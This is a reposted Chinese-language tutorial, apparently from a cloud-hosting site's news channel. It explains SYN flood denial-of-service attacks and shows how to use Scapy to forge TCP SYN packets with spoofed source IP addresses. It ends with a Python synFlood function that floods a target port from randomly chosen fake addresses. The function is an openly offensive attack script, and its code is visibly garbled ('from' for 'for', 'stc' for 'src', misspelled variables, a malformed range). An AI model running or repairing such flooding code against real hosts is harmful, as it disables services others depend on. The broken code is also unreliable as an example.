您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Python項目中基于Scapy如何實現SYN泛洪攻擊”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Python項目中基于Scapy如何實現SYN泛洪攻擊”這篇文章吧。
python3版本的Scapy--Scapy3k來實現一個簡單的DDos。
首先實現SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務器發送SYN報文之后就不再響應服務器回應的報文,由于服務器在處理TCP請求時,會在協議棧留一塊緩沖區來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協議棧中存儲的數據就會被丟棄。攻擊者如果利用這段時間發送了大量的連接請求,全部掛起在半連接狀態,這樣將不斷消耗服務器資源,直到拒接服務。
Scapy是一個強大的交互式數據包處理程序,可以用來發送、嗅探、解析和偽造網絡數據包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3
現在學習一下scapy的使用方法:
sudo scapy(scapy發送數據包需要root權限)
(警告信息是因為有一些依賴包沒有安裝,但是我們本次實驗不需要使用我就不裝了)
現在我們使用Scapy構造一個簡單的數據包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構造一個SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設定為S說明要發送的是SYN數據包)
代碼實現:
具體代碼如下:
import random import scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] from sPort in range(1-24,65535): index = random.randrange(4) ipLayer = IP(stc = stcList[index].dst = tgt) tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S") packet = ipLayer/tcpLayer send(packet)
定義了srcList用于存放偽造的IP地址,之后定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport,循環中改變的端口號就是給了sport這個參數。我們還調用random.randrange()函數來隨機從srcList中獲取一個偽造的IP地址。
以上是“Python項目中基于Scapy如何實現SYN泛洪攻擊”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。